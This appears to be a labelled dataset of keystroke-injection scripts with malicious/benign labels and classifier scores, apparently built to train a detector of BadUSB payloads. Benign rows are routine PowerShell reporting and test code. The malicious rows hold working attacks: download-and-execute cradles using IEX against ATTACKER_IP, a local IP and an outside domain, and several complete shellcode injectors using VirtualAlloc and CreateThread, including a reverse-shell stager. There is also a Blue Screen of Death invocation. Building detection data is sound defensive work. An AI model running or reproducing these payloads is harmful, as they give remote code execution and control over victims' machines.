unknown_key_action GUI SPACE enter delay_short enter terminal.app enter delay_short enter enter enter delay_medium enter unknown_key_action CTRL c enter delay_short enter cd ~ enter delay_short enter enter enter delay_short enter unknown_key_action GUI CTRL f enter delay_medium enter brew install automake cmatrix enter delay_short enter enter enter delay_long enter cmatrix enter delay_short enter enter,1,1,5.654418e-05,0.9999435
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_rscyzya4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter",0,0,0.9999658,3.417336e-05
"win+r enter powershell enter enter enter $wc=NEW-OBjECT SYSTEM.Net.WeBClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.Headers.AdD('User-Agent',$u);$Wc.PROXY = [SySTeM.NET.WebREquEsT]::DefaulTWeBPRoxY;$wc.ProXY.CREDENTIAlS = [SySTEM.Net.CReDeNTIAlCAChE]::DEfauLtNETwORkCrEdEnTIaLS;$K='63a9f0ea7bb98050796b649e85481845';$i=0;[char[]]$b=([CHaR[]]($wC.DownlOaDSTRiNg(""http://192.168.209.128:8080/index.asp"")))|%{$_-BXOr$k[$I++%$K.LEngTH]};IEX ($B-JoIN'') enter enter",1,1,5.6035253e-05,0.999944
"win+r enter powershell enter enter enter [CmdletBinding()] enter Param enter ( enter [Parameter()] enter [string]$FilesChanged enter ) enter enter $PathsToCheck = @(""src"") enter enter $PathStringsToIgnore = @( enter ""Test"", enter "".sln"", enter ""Nuget.config"", enter "".psd1"", enter ""Netcore"", enter ""Stack"" enter ) enter Write-Host ""Files changed: $FilesChanged"" enter $FilesChangedList = @() enter while ($true) enter { enter $Idx = $FilesChanged.IndexOf("";"") enter if ($Idx -lt 0) enter { enter $FilesChangedList += $FilesChanged enter break enter } enter enter $TempFile = $FilesChanged.Substring(0, $Idx) enter Write-Host ""Adding '$TempFile' to 'FilesChangedList'"" enter $FilesChangedList += $TempFile enter $FilesChanged = $FilesChanged.Substring($Idx + 1) enter } enter enter if ([string]::IsNullOrEmpty($FilesChanged) -or ($FilesChangedList.Count -eq 300)) enter { enter Write-Host ""The list of files changed is empty or is past the 300 file limit; skipping check for change log entry"" enter return enter } enter enter $ChangeLogs = $FilesChangedList | where { $_ -like ""*ChangeLog.md*"" } enter $UpdatedServicePaths = New-Object System.Collections.Generic.HashSet[string] enter foreach ($ChangeLog in $ChangeLogs) enter { enter if ($ChangeLog -eq ""ChangeLog.md"") enter { enter continue enter } enter elseif ($ChangeLog -like ""src/ServiceManagement*"") enter { enter $UpdatedServicePaths.Add(""src/ServiceManagement"") | Out-Null enter } enter elseif ($ChangeLog -like ""src/Storage*"") enter { enter $UpdatedServicePaths.Add(""src/Storage"") | Out-Null enter } enter else enter { enter enter $SplitPath = @() enter while ($true) enter { enter $Idx = $ChangeLog.IndexOf(""/"") enter if ($Idx -lt 0) enter { enter $SplitPath += $ChangeLog enter break enter } enter enter $TempPath = $ChangeLog.Substring(0, $Idx) enter Write-Host ""Adding '$TempPath' to 'SplitPath'"" enter $SplitPath += $TempPath enter $ChangeLog = $ChangeLog.Substring($Idx + 1) enter } enter enter $BasePath = $SplitPath[0],$SplitPath[1],$SplitPath[2] -join ""/"" enter Write-Host ""Change log '$ChangeLog' processed to base path '$BasePath'"" enter $UpdatedServicePaths.Add($BasePath) | Out-Null enter } enter } enter enter $message = ""The following services were found to have a change log update:`n"" enter $UpdatedServicePaths | % { $message += ""`t- $_`n"" } enter Write-Host ""$message`n"" enter enter $FlaggedFiles = @() enter foreach ($File in $FilesChangedList) enter { enter if ($File -like ""*ChangeLog.md*"" -or $File -like ""*.psd1*"" -or $File -like ""*.sln"") enter { enter continue enter } enter enter if (($PathsToCheck | where { $File.StartsWith($_) } | Measure-Object).Count -gt 0 -and ` enter ($PathStringsToIgnore | where { $File -like ""*$_*"" } | Measure-Object).Count -eq 0 -and ` enter ($UpdatedServicePaths | where { $File.StartsWith($_) } | Measure-Object).Count -eq 0) enter { enter $FlaggedFiles += $File enter } enter } enter enter if ($FlaggedFiles.Count -gt 0) enter { enter $message = ""The following files were flagged for not having a change log entry:`n"" enter $FlaggedFiles | % { $message += ""`t- $_`n"" } enter Write-Host $message enter throw ""Modified files were found with no update to their change log. Please add a snippet to the affected modules' change log."" enter } enter enter",0,0,0.99986565,0.00013428883
"win+r powershell enter [CmdletBinding(SupportsShouldProcess=$true)] param( [string]$Prefix, [Swi enter tch]$Force ) Set-StrictMode -Version 'Latest' $carbonPsd1Path = Join-Path -Pat enter h $PSScriptRoot -ChildPath 'Carbon.psd1' -Resolve enter enter",1,1,0.011633229,0.9883668
"win+r enter powershell enter enter enter function Add-SPOList enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$listTitle, enter enter [Parameter(Mandatory=$false, Position=1)] enter [Microsoft.SharePoint.Client.ListTemplateType]$templateType = ""genericList"" enter ) enter enter $web = $clientContext.Web enter $lists = $web.Lists enter $clientContext.Load($lists) enter $clientContext.ExecuteQuery() enter enter $listTitles = $lists | select -ExpandProperty Title enter enter if(!($listTitles -contains $listTitle)) enter { enter $listCreationInfo = new-object Microsoft.SharePoint.Client.ListCreationInformation enter $listCreationInfo.TemplateType = $templateType enter $listCreationInfo.Title = $listTitle enter $listCreationInfo.QuickLaunchOption = [Microsoft.SharePoint.Client.QuickLaunchOptions]::on enter enter $list = $web.Lists.Add($listCreationInfo) enter enter $clientContext.ExecuteQuery() enter enter Write-Host ""List '$listTitle' is created succesfully"" -foregroundcolor black -backgroundcolor green enter } enter else enter { enter Write-Host ""List '$listTitle' already exists"" -foregroundcolor black -backgroundcolor yellow enter } enter } enter enter",0,0,0.99994195,5.8065296e-05
"win+r enter powershell enter enter enter function New-IPRange { enter enter [cmdletbinding()] enter param ( enter [parameter( Mandatory = $true, enter Position = 0 )] enter [System.Net.IPAddress]$Start, enter enter [parameter( Mandatory = $true, enter Position = 1)] enter [System.Net.IPAddress]$End, enter enter [int[]]$Exclude = @( 0, 1, 255 ) enter ) enter Write-Verbose ""Parsed Start as '$Start', End as '$End'"" enter enter $ip1 = $start.GetAddressBytes() enter [Array]::Reverse($ip1) enter $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address enter enter $ip2 = ($end).GetAddressBytes() enter [Array]::Reverse($ip2) enter $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address enter enter for ($x=$ip1; $x -le $ip2; $x++) enter { enter $ip = ([System.Net.IPAddress]$x).GetAddressBytes() enter [Array]::Reverse($ip) enter if($Exclude -notcontains $ip[3]) enter { enter $ip -join '.' enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc0,0xbf,0xf5,0x6e,0xa5,0x30,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x47,0x31,0x7a,0x18,0x83,0xea,0xfc,0x03,0x7a,0xe1,0x8c,0x50,0xcc,0xe1,0xd3,0x9b,0x2d,0xf1,0xb3,0x12,0xc8,0xc0,0xf3,0x41,0x98,0x72,0xc4,0x02,0xcc,0x7e,0xaf,0x47,0xe5,0xf5,0xdd,0x4f,0x0a,0xbe,0x68,0xb6,0x25,0x3f,0xc0,0x8a,0x24,0xc3,0x1b,0xdf,0x86,0xfa,0xd3,0x12,0xc6,0x3b,0x09,0xde,0x9a,0x94,0x45,0x4d,0x0b,0x91,0x10,0x4e,0xa0,0xe9,0xb5,0xd6,0x55,0xb9,0xb4,0xf7,0xcb,0xb2,0xee,0xd7,0xea,0x17,0x9b,0x51,0xf5,0x74,0xa6,0x28,0x8e,0x4e,0x5c,0xab,0x46,0x9f,0x9d,0x00,0xa7,0x10,0x6c,0x58,0xef,0x96,0x8f,0x2f,0x19,0xe5,0x32,0x28,0xde,0x94,0xe8,0xbd,0xc5,0x3e,0x7a,0x65,0x22,0xbf,0xaf,0xf0,0xa1,0xb3,0x04,0x76,0xed,0xd7,0x9b,0x5b,0x85,0xe3,0x10,0x5a,0x4a,0x62,0x62,0x79,0x4e,0x2f,0x30,0xe0,0xd7,0x95,0x97,0x1d,0x07,0x76,0x47,0xb8,0x43,0x9a,0x9c,0xb1,0x09,0xf2,0x51,0xf8,0xb1,0x02,0xfe,0x8b,0xc2,0x30,0xa1,0x27,0x4d,0x78,0x2a,0xee,0x8a,0x7f,0x01,0x56,0x04,0x7e,0xaa,0xa7,0x0c,0x44,0xfe,0xf7,0x26,0x6d,0x7f,0x9c,0xb6,0x92,0xaa,0x09,0xb2,0x04,0x07,0x9f,0x82,0xad,0xcf,0x1d,0xfb,0x5c,0x4c,0xab,0x1d,0x0e,0x3c,0xfb,0xb1,0xee,0xec,0xbb,0x61,0x86,0xe6,0x33,0x5d,0xb6,0x08,0x9e,0xf6,0x5c,0xe7,0x77,0xae,0xc8,0x9e,0xdd,0x24,0x69,0x5e,0xc8,0x40,0xa9,0xd4,0xff,0xb5,0x67,0x1d,0x75,0xa6,0x1f,0xed,0xc0,0x94,0x89,0xf2,0xfe,0xb3,0x35,0x67,0x05,0x12,0x62,0x1f,0x07,0x43,0x44,0x80,0xf8,0xa6,0xdf,0x09,0x6d,0x09,0xb7,0x75,0x61,0x89,0x47,0x20,0xeb,0x89,0x2f,0x94,0x4f,0xda,0x4a,0xdb,0x45,0x4e,0xc7,0x4e,0x66,0x27,0xb4,0xd9,0x0e,0xc5,0xe3,0x2e,0x91,0x36,0xc6,0xae,0xed,0xe0,0x2e,0xc5,0x1f,0x31;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.13274e-05,0.9999486
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_duprgjan"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-Process -Name ""chrome"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 15 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_15.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.429399e-05
win+r powershell enter  [CmdletBinding()] param () function Get-Architecture { [CmdletBinding()][ enter OutputType([string])] param () $OSArchitecture = Get-WmiObject -Class Win32_ enter OperatingSystem | Select-Object OSArchitecture $OSArchitecture = $OSArchitectur enter e.OSArchitecture enter,1,1,0.0028631424,0.99713683
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0x5c,0x11,0x00,0x00,0xe8,0x0f,0x01,0x00,0x00,0x2f,0x39,0x30,0x6b,0x72,0x41,0x50,0x43,0x42,0x4c,0x46,0x43,0x44,0x55,0x49,0x4a,0x52,0x31,0x64,0x37,0x31,0x69,0x67,0x70,0x68,0x36,0x33,0x44,0x51,0x78,0x37,0x64,0x63,0x5f,0x33,0x45,0x7a,0x45,0x6a,0x75,0x68,0x2d,0x5a,0x43,0x33,0x32,0x69,0x73,0x46,0x30,0x66,0x5f,0x44,0x7a,0x57,0x69,0x63,0x59,0x4d,0x48,0x33,0x34,0x77,0x6b,0x5f,0x74,0x77,0x6a,0x4f,0x62,0x35,0x36,0x42,0x4f,0x35,0x78,0x77,0x5a,0x7a,0x62,0x77,0x34,0x76,0x77,0x66,0x38,0x63,0x59,0x4f,0x69,0x49,0x74,0x49,0x51,0x43,0x56,0x71,0x69,0x50,0x47,0x49,0x50,0x4d,0x75,0x4d,0x4f,0x71,0x48,0x6d,0x30,0x55,0x39,0x67,0x77,0x4d,0x39,0x5a,0x30,0x39,0x4e,0x4a,0x56,0x65,0x35,0x64,0x75,0x65,0x65,0x58,0x45,0x47,0x49,0x77,0x63,0x33,0x37,0x45,0x38,0x78,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xd9,0xe8,0x4a,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x77,0xff,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x31,0x30,0x30,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.189062e-05,0.99994814
"win+r powershell enter $moduleRoot = (Resolve-Path ""$PSScriptRoot\..\.."").Path . ""$PSScriptRoot\FileIn enter tegrity.Exceptions.ps1"" function Get-FileEncoding { [CmdletBinding()] Param enter ( [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [Ali enter as('FullName')] [string] enter enter",0,1,0.0011271546,0.9988728
"win+r powershell enter delay_medium enter win+r enter delay_medium enter powershell -w hidden -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"" enter enter enter",1,1,5.9097245e-05,0.9999409
"win+r powershell enter $TuI = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $TuI -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0x42,0 enter xfe,0x4c,0x4a,0xdb,0xd4,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x52,0x31,0x70,0 enter x13,0x03,0x70,0x13,0x83,0xc0,0x46,0x1c,0xb9,0xb6,0xae,0x62,0x42,0x47,0x2e,0x03,0 enter xca,0xa2,0x1f,0x03,0xa8,0xa7,0x0f,0xb3,0xba,0xea,0xa3,0x38,0xee,0x1e,0x30,0x4c,0 enter x27,0x10,0xf1,0xfb,0x11,0x1f,0x02,0x57,0x61,0x3e,0x80,0xaa,0xb6,0xe0,0xb9,0x64,0 enter xcb,0xe1,0xfe,0x99,0 enter enter",1,1,5.3872915e-05,0.9999461
win+r enter powershell enter enter enter iex (new-object net.webclient).downloadstring('https://invesco.online/aaa') enter enter,1,1,6.0084938e-05,0.9999399
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_72x6l0yf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4548517e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xcf,0x01,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_ucr9c513"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_25.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4069853e-05
"win+r enter powershell enter enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Test-ShouldResolveBuiltinIdentity enter { enter $identity = Resolve-Identity -Name 'Administrators' enter Assert-Equal 'BUILTIN\Administrators' $identity.FullName enter Assert-Equal 'BUILTIN' $identity.Domain enter Assert-Equal 'Administrators' $identity.Name enter Assert-NotNull $identity.Sid enter Assert-Equal 'Alias' $identity.Type enter } enter enter function Test-ShouldResolveNTAuthorityIdentity enter { enter $identity = Resolve-Identity -Name 'NetworkService' enter Assert-Equal 'NT AUTHORITY\NETWORK SERVICE' $identity.FullName enter Assert-Equal 'NT AUTHORITY' $identity.Domain enter Assert-Equal 'NETWORK SERVICE' $identity.Name enter Assert-NotNull $identity.Sid enter Assert-Equal 'WellKnownGroup' $identity.Type enter } enter enter function Test-ShouldResolveEveryone enter { enter $identity = Resolve-Identity -Name 'Everyone' enter Assert-Equal 'Everyone' $identity.FullName enter Assert-Equal '' $identity.Domain enter Assert-Equal 'Everyone' $identity.Name enter Assert-NotNull $identity.Sid enter Assert-Equal 'WellKnownGroup' $identity.Type enter } enter enter function Test-ShouldNotResolveMadeUpName enter { enter $Error.Clear() enter $fullName = Resolve-Identity -Name 'IDONotExist' -ErrorAction SilentlyContinue enter Assert-GreaterThan $Error.Count 0 enter Assert-Like $Error[0].Exception.Message '*not found*' enter Assert-Null $fullName enter } enter enter function Test-ShouldResolveLocalSystem enter { enter Assert-Equal 'NT AUTHORITY\SYSTEM' (Resolve-Identity -Name 'localsystem').FullName enter } enter enter function Test-ShouldResolveDotAccounts enter { enter foreach( $user in (Get-User) ) enter { enter $id = Resolve-Identity -Name ('.\{0}' -f $user.SamAccountName) enter Assert-NoError enter Assert-NotNull $id enter Assert-Equal $id.Domain $user.ConnectedServer enter Assert-Equal $id.Name $user.SamAccountName enter } enter } enter enter function Test-ShouldResolveSid enter { enter @( 'NT AUTHORITY\SYSTEM', 'Everyone', 'BUILTIN\Administrators' ) | ForEach-Object { enter $id = Resolve-Identity -Name $_ enter $idFromSid = Resolve-Identity -Sid $id.Sid enter Assert-Equal $id $idFromSid enter } enter } enter enter function Test-ShouldResolveUnknownSid enter { enter $id = Resolve-Identity -SID 'S-1-5-21-2678556459-1010642102-471947008-1017' -ErrorAction SilentlyContinue enter Assert-Error -Last -Regex 'not found' enter Assert-Null $id enter } enter enter function Test-ShouldResolveSidByByteArray enter { enter $id = Resolve-Identity -Name 'Administrators' enter Assert-NotNull $id enter $sidBytes = New-Object 'byte[]' $id.Sid.BinaryLength enter $id.Sid.GetBinaryForm( $sidBytes, 0 ) enter enter $idBySid = Resolve-Identity -SID $sidBytes enter Assert-NotNull $idBySid enter Assert-NoError enter Assert-Equal $id $idBySid enter } enter enter function Test-ShouldHandleInvalidSddl enter { enter $Error.Clear() enter $id = Resolve-Identity -SID 'iamnotasid' -ErrorAction SilentlyContinue enter Assert-Error 'exception converting' enter Assert-Error -Count 2 enter Assert-Null $id enter } enter function Test-ShouldHandleInvalidBinarySid enter { enter $Error.Clear() enter $id = Resolve-Identity -SID (New-Object 'byte[]' 28) -ErrorAction SilentlyContinue enter Assert-Error 'exception converting' enter Assert-Error -Count 2 enter Assert-Null $id enter } enter enter",0,0,0.99975735,0.00024270723
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_bibcvz0c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 25 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_25.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4108212e-05
"win r powershell enter Stop-Process -Name ""Signal"" enter Start-Process $Env:USERPROFILE\AppData\Local\Programs\signal-desktop\Signal.exe; exit enter tab tab tab enter NUMBER tab enter YOUR_MESSAGE enter alt f4",1,1,0.000116711824,0.9998833
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_lqac5h1c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 50 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_50.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5146142e-05
win+r powershell enter function Invoke-BSOD { <# .SYNOPSIS Invokes a Blue Screen of Death on Windows w enter ithout requiring admin privileges. Author: Barrett Adams (@peewpw) .DESCRIPTION enter Raises an error that causes a Blue Screen of Death on Windows. It does this wi enter thout requiring administrator privileges. enter enter,1,1,6.11746e-05,0.99993885
